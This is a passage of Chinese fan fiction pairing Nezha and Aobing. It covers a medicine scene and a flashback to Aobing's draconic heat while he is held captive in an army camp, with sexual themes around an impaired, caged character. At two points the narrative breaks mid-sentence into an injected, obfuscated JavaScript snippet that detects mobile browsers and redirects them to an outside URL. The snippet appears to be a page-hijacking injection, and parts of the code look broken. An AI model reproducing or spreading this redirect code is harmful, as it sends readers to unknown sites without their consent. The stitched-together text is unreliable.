哪吒先往东厢探了龙蛋,照例饲以莲血。 粉蛋格外乖巧,甚至蹭了蹭哪吒指尖,惹得少年挑眉:“总算识相些。” 喂罢蛋,哪吒钻进了小厨房,说要给敖丙煎药。 敖丙跟到门边,有些局促地站着:“我帮你看火候罢。” “你去陪孩子便是。”哪吒专注盯着药罐,“这儿有我。” “我……” “去罢。他昨夜离了你那么久,今日就多陪陪他吧。” 敖丙默默退开。 龙蛋昨夜初与爹爹分离,闹腾了一宿,现在倦倦蜷在蕴灵贝中睡熟了。敖丙守了半晌,心思又飘向哪吒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117041|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他走到门外,悄悄探出脑袋。 哪吒坐在矮凳上,一手执蒲扇轻扇炉火,另一手捧着卷书册。书页装帧颇讲究,绛紫色封皮没有题字。 敖丙心下称奇。 哪吒最厌繁琐文字,要他看卷兵书都需三催四请,今日居然破天荒读起书来了? 他放轻脚步,猫儿似地挨过去,想瞧瞧是什么了不得的秘籍。 “哗啦——” 书页急合。 哪吒将书藏入怀中,面上掠过几分慌乱:“你怎么来了?” “孩子睡了,我来看看你。” 这话说得自然,像是寻常夫妻间的对白。 一瞬间,敖丙生出错觉,仿佛他和哪吒真是隐居在此的平凡伴侣,守着这小院、养着那颗蛋,朝朝暮暮,岁岁年年。 敖丙有些恍惚,旋即自嘲地笑了笑。 不过是场镜花水月罢了。 …… 药已煎成。 哪吒起身滤药,将汁液倾入瓷碗。他朝敖丙招手:“来,趁热用了。” 黑乎乎一碗,苦气扑鼻。 敖丙慢吞吞地挪过去,满脸写着不情愿。 哪吒瞧见他使小性子的模样,好笑又怜惜,不由腹诽:天帝也是糊涂,派个带着稚子、身体孱弱的小龙君下凡办这等凶险差事。 “快些喝了,良药苦口利于病。”哪吒将碗推近些。 敖丙怀揣着破釜沉舟的念头,捧碗喝尽了,苦得眼角都沁出泪来。然后他准备找水漱口,唇边忽地一甜。 是哪吒递来了糖糕。 雪白晶莹,以糯米制成,面上缀满灿金的桂花。 敖丙小口吃着,糯甜沁脾,冲淡了喉间的苦涩。他伸出舌尖,舔去唇角沾的糖粉。 这时,敖丙突然注意到了哪吒。 少年墨瞳幽深,眼神有些凶。 敖丙心头一跳,以为自己哪里惹恼了他,惴惴道:“怎么了?” 哪吒却不答。 他方才趁煎药,将那卷图册研读了一遍。绢本之上,人物姿态繁复、花样奇巧远非他所能想象。交颈叠股、俯仰屈伸或倚榻、临窗,乃至水中、马上、花间……皆可成戏。 哪吒蒲扇都忘了摇,炉火呼地窜起老高,险些燎了书页。 他自幼在军营长大,所识的不过是兵书阵图,何曾见过这等绵软香艳的物事? 偏偏他忍不住一页页看下去,似被什么魇住了似的,偶尔还会对照自己身上部位,神色肃穆得仿佛在研习什么兵书阵法、无上神通。 那副专注模样若教太乙真人瞧见,怕要欣慰顽徒终于肯用心读书。 哪吒欲合书,目光却钉在了一幅图上。 绘的是男子敦伦之态,以小楷注解「入室方得真味,浅尝终是辜负」。 昨夜他恐弄疼对方,只进了个开头就草草了事。如今看图才知道,自己连门槛都未迈过,算不得真正成事。 他口口声声说娶敖丙,要照顾那龙与孩子,却连最基本的鱼水之欢都给不周全。 “蠢货。”哪吒低声骂自己。 而且画中人云雨,总有唇齿相接的步骤。 可他与敖丙昨夜……没有。 他们做过最亲密的事,却连一个简单的吻都没有。 敖丙那套“宽衣、引手、入港”的流程像完成某种既定的仪式,生硬得近乎公事公办。 那龙或许根本没有从中得到欢愉。 只是忍着、受着,为了某个他不明白的目的,将自己当作工具使用了。 而他还沾沾自喜,以为得了这条龙的真心。 哪吒思虑着,翻到了新的一页。 画中两人唇瓣相贴,眉眼间情意缠绵,下方小楷注着「吻乃情之门户,启唇齿,通心意」。 哪吒暗忖:既然你当这是交易,那我就做得更好些。 好到让你舍不得只要血。 好到让你……连心也一并留下。 想到什么便做什么是哪吒一贯的性子。 于是,他盯着敖丙被糖糕润得水光的唇瓣,直截了当地说。 “敖丙,我想亲你。” 18. 我在 千年前金鸡岭。 龙族寿数长,五百岁才算得上成年。 敖丙年岁很早便逾线了,但他身子骨未发育周全,情期迟迟没有到来。许是因为这个,这次蜕鳞也受到影响,早了整整三十载。 恰逢孔宣应战西岐,敖丙见过敖甲对那位孔雀明王的态度,堪称毕恭毕敬。 是了。孔宣身负五色神光,有擒仙拿神之能。 敖丙偷偷计划,如何借此次机缘实现自己深埋心底的筹谋。所以纵使鳞片脱落,金血浸透衣袍,他仍强撑着没有去寻东海接应的人。 哪知人算不如天算。 敖丙迟来数百年的成年礼,偏偏在最不堪的境地下来临了。 - 金台拜相后,武王仁德,许将士休养生息,这段时日松快许多。哪吒照旧在校场操练整日,再踏着黄昏的尾巴返回营帐。 自从五十军棍后,一莲一龙的关系微妙起来。 哪吒面皮薄,不肯教旁人上药。 唯有敖丙见过他最狼狈的模样,哪吒索性破罐子破摔,任由这条龙照料了整段养伤的日子。 而姜子牙虽然当众责罚,私下却赠了哪吒上好的灵药。不过三日光景,哪吒就行动如常,又是那副天不怕地不怕的模样。 …… 撩帐入内,哪吒看见小龙蜷在了笼角。 这模样哪吒只见过一次。 他伤愈那日,周营众人认为敖丙没有威胁,破例允他出笼两个时辰放风,自然也有监视之意。殷素知那日带了只烤全鸡来,见哪吒不在便转赠给了龙族。 敖丙接过油纸包,解下哪吒晾在帐中的外袍将烤鸡裹好,然后蜷回笼里。 哪吒和将领议事至深夜,饥肠辘辘地回帐。他瞧见整条龙缩成小小一团,怀里鼓鼓囊囊藏着什么。 听到掀帘的响,小龙探出头唤了声“哪吒”。 “怎么了?”少年凑近。 敖丙将外袍层层展开,里头烤鸡还温着,油光红亮。 哪吒心头蓦地一软:“给我的?从哪里得来的?” “是你母亲给的。” 哪吒心头那点暖倏然凉了。他失去了之前的记忆,却知道自己曾经割肉剔骨、剖腹剜肠,以死偿父母生养之恩。 莲花重塑后殷素知百般补偿,哪吒心中仍梗着根刺。 若真疼惜孩儿,何以眼睁睁看他自戕? 所以,他不愿接殷夫人所赠之物,被迫收了也多半压在箱底。可看着敖丙这般小心护着烤鸡的模样,哪吒鬼使神差地收下了。 那夜烤鸡滋味很香、很香,他记了许多年。 …… 此刻见敖丙又蜷作一团,哪吒当他藏了什么好东西,含笑走近:“这回又是什么——” 笼中龙色如桃花,冰蓝的长尾耷拉在身侧。鳞片间隙湿淋淋,满是清亮的胶状物。奇异的香往哪吒鼻窍里钻,甜得发腻,却又勾着他想凑近些、再近些。 “敖丙?”哪吒蹲下身,“你……” 闻声,敖丙伸手穿过笼隙,捉住了少年的衣襟。 掌心滚烫,力道软绵绵的。 “哪吒…我难受……” 哪吒愣在原地。 他从未见过敖丙这样,之前蜕鳞时是痛楚居多,而现在这龙却像被什么蒸透了,从骨子里透出糜丽,任人采撷似的。 “你……可是蜕鳞未完?” “不是,”敖丙摇头,红痣在灯下艳艳的。“你帮帮我。” “怎么帮?”哪吒听见自己的声音,哑得不像话。 敖丙没有答。 他攥着哪吒的手引向自己腰间,衣带松垮着,稍稍一扯就散开了。 哪吒未经情事,可军营中听那些老兵油子浑话听得多了,隐约明白这是什么状况。 “不、不可,”他踉跄退后两步,“你我、无名无分……” “哪吒。”敖丙唤他,声音又轻又软,“你讨厌我么?” “自然不!” 哪吒吼完这一句,连忙出了营帐去寻军医。 这一番动静自然惊动了周营上下,不过盏茶工夫,姜子牙并姬发、黄天化、杨戬等人聚于帐外。 敖丙身份特殊,若在周营有个好歹,东海那边不好交代。 老军医走到笼前一看:“此乃情期至也。” “龙族雌雄同体,寻常或可自然熬过,只是这位公子先天不足,硬抗的话怕要伤及本源。” “可有解法?”姬发问。 “需得阴阳交济来纾解,寻个人陪着便是,男女皆可。” 黄天化在旁嗤笑一声:“听闻东海老龙王最是宝贝这三儿子,若真在咱们营里出了岔子,怕是又要闹上天庭罢?” 这话说得刺耳,众人都心知肚明。 哪吒闹海后,敖光直闯南天门告御状,只是昊天上帝还未升殿,老龙王在宝德门前就被哪吒截住,一顿好打后押回陈塘关。 杨戬冷眼观局,缓声道:“不若寻个妓子来。一则可解敖丙之困,二则消息严密封锁,既全了龙族颜面,又免生后患。如今大军驻于金鸡岭,距东海千里之遥,纵使敖光得了信也来不及遣人。” 这话虽不中听,却是眼下最稳妥的法子。若情期敖丙煎熬过甚,不慎损了龙躯才是麻烦。 姜子牙闻言颔首,旁边的哪吒却变了脸色。 “杨戬!”少年眸中怒火灼灼,“你出的什么腌臜主意?可是因为敖丙占了营帐,你便这般算计于他?!” 自五十军棍后,杨戬已搬离了原来的营帐,与雷震子、黄天化挤在一处。雷震子睡相不佳,夜半常常展露风雷双翼,扫得杨戬难以安枕。 被哪吒当众揭破,杨戬面上挂不住,反唇相讥:“师弟有何高见?莫非你要亲自为他纾解不成?” 哪吒缄默着,唇抿成一线。 姬发将争执的两人分开,又命亲卫速去安排。不过片刻,一女子低眉敛目而入。她约莫二八年华,青衫素裙,眉眼温润,行止有股水波似的柔婉。 女子朝众人盈盈一福,不卑不亢:“民女阿竹,奉殿下之命前来。” 锁钥早被哪吒解开了,如今只虚掩着。阿竹推开笼门走进去,帐内的其他人都别开了视线。 “弟子……”唯有哪吒眼睁睁看着这一幕,下意识想要跟上前,却被姜子牙拦住了。 老丞相摇头,示意众人出帐。 哪吒指甲深深掐入掌心:“……遵命。” - 锦褥间蜷着一龙,中衣汗透,勾勒出伶仃骨相。 “水……”敖丙无意识呢喃。 阿竹低低应着,取来了案上陶壶。 温水入喉,敖丙神智回笼,蓦地看清眼前人,惊得拽紧被子往后缩:“你、你是何人?” “我叫阿竹。”女子嗓音温软,“奉姬发殿下之命,来为公子解这情潮。” 敖丙环顾帐内,不见那抹熟悉的赤影。 是了。 哪吒怎会沾此等污浊事? 在周营众人眼中,自己不过是可随手处置的敌囚罢了。 阿竹见他神色惶然,笑意愈柔:“公子若紧张,不妨先从亲近些的做起?譬如……亲亲我。” 敖丙望着她。 阿竹黑眸澄澈,周身的气质很柔和,笑起来眼尾弯弯的模样,像极了他远在东海的二哥。 敖乙自幼护他、疼他,总说:“丙儿不怕,二哥在”…… 委屈与恐惧的情绪翻涌,敖丙竭力冷静下来:东海远隔千里,哪吒袖手,其余人皆欲除他而后快。 罢了,横竖不过一场露水姻缘。 敖丙颤巍巍地凑近,嗅到女子颈间淡淡的香,他看清了对方的唇瓣,粉润、柔软,与哪吒总紧抿的唇截然不同。 敖丙没有经验,只知道该吻这里。 越近,呼吸越乱。 “哗啦!” 一道身影逆光而立。 少年卸了兜鍪,墨染似的长发高束,通身金甲凛凛。他左手抱着那顶缨盔,欺霜赛雪的面上凝着薄怒: “你们在做什么?” 敖丙僵住了,维持着倾身的姿势,看着阿竹从容起身:“民女奉姬发殿下之命,特来照料敖公子。” 哪吒看也不看她,死死盯着被中那抹雪影,薄唇吐出二字:“出去。” 阿竹迟疑:“这位公子情热未解,恐伤……” “我让你出去!” 阿竹面色发白,退出了营帐。 哪吒一步步走近,他在笼边站定,看着狼狈不堪的敖丙。 那枚小痣红得滴血,长睫濡湿,染了些水色的滟光。龙族神情却格外矜贵,圣洁、妖异杂糅着,像是古寺壁画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117042|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上堕凡的仙佛。 许久,哪吒才道:“你就这般……迫不及待?” 敖丙仰起脸。 从这个角度望去,少年眉眼凌厉,黑而长的睫低垂,与鬓边莲花金饰连成一道线。 莲华化育、金石为骨的灵珠子降世。 “哪吒,”他颤着指尖,抓住了少年覆着护甲的手,“我好难受……” 龙族情期本该在巢穴中度过,有亲人守护、灵药温养。可他现在被困在军帐里,周身滚热干燥,每一次呼吸像有砂石刮过。 哪吒抿紧唇,看向敖丙身下。鳞片张开,沁出的液因离水而板结。 若能带龙去个清净池子该多好。 哪吒莫名想。 寻处无人知晓的活水,将整条龙养在里面,日日给新鲜吃食,夜夜陪他说说话。而不是在这铁笼里痛苦地缩着,被当作待处置的麻烦。 现在帐外站满了人。 一道道目光隔着帐布刺来,人人都知晓里头在发生什么,或将要发生什么。 帐角有一只柏木水桶,是军士日常盥洗所用。哪吒将桶提到笼边,取帕子蘸了水,开始擦拭那条龙尾。 温水流过鳞片,将那些痕迹化开。 保护层一去,敖丙难耐地扭身,伸手推他铠甲:“你离我远些……” “为何?” “好脏……”敖丙蹙眉,“都是沙土。” 哪吒气极反笑。 他顶着满营非议闯入这里,不知要面对何等军法处置,更不知明日会传出怎样难听的流言—— 这没良心的小龙却嫌弃起沾灰的铠甲来了。 然而,敖丙推拒的指尖沾了水液、尘土,混成污浊的一团,刺眼得很。 哪吒卸下护腕,将袖口挽至小臂,露出清峭分明的腕骨。他沉默着换了块布巾,执起敖丙的手,一根一根仔细擦拭。 “省着些用。”哪吒低声说,“只这一桶水。今夜……咱们是出不得这营帐了。” 敖丙大脑混沌,似懂非懂地望着他。 少年的面容真真钟天地之灵秀,比月多三分英气,较花添一段清刚。眉似远山含黛,斜飞入鬓,中间蹙着隐隐的雷霆。 束发的红绡带梢儿掠过脸颊,衬得肤色愈发如新藕,明明一身戎装却生出种芙蓉出水的剔透。 见龙族不答,哪吒捏住他下巴:“方才,你们要做什么?” “亲、亲亲……”敖丙被他弄疼了,水光在眼眶里打转,“阿竹说…先亲亲……” “是这般么?”哪吒弯腰凑近。 “不、不要,”敖丙偏头躲开了,他抱着尾巴蜷成一团,泪珠子簌簌,“我想回东海……我要回家……” 哪吒心头一涩。 金鸡岭距东海何止千里? 周营结界重重,术法难施,帐外又被围得水泄不通——这条被囚的小龙插翅也难飞。 “敖丙,有我在。”他只能这般说。 “我要回东海……” “我在。” “我想父王,想兄长……” “我在。” …… 他一遍遍问,他一遍遍答。 敖丙哭得更凶了,雪睫被泪水浸湿,黏成一绺一绺。眉眼洇红,还睁着那双水洗过的眸子望他。 破碎又秾丽的情态,直教哪吒呼吸都窒住。 嘈杂声、人声通通听不见了,只剩震耳欲聋的心跳。于是他捏着敖丙下巴,不容抗拒地转过那张泪脸,低头吻了下去。 初时只是唇瓣相贴。 随即,少年撬开龙族的齿关。莲花清气辗转着,勾缠交织,几乎要夺去敖丙所有呼吸。 泪水落在唇齿间,咸涩与甜香混作一团。金甲硌着龙躯,混天绫不知何时缠上了他们,圈圈叉叉绕紧,像祠里那些被痴男女系了满树的红线。 吻毕,哪吒抵住龙的额头。墨瞳里火光灼灼,映着对方泪湿的脸。 “有我在,天塌不下来。”他指腹擦过敖丙红肿的唇,“从今往后,你的事归我管。不许找旁人,听见没有?” 敖丙望着他,泪水止不住地淌,他轻轻点了点头。 “……哪吒。” “我在。” 那些军法、流言、敌我之分似乎都没那么要紧了,哪吒想,他只要这条龙。 只要他。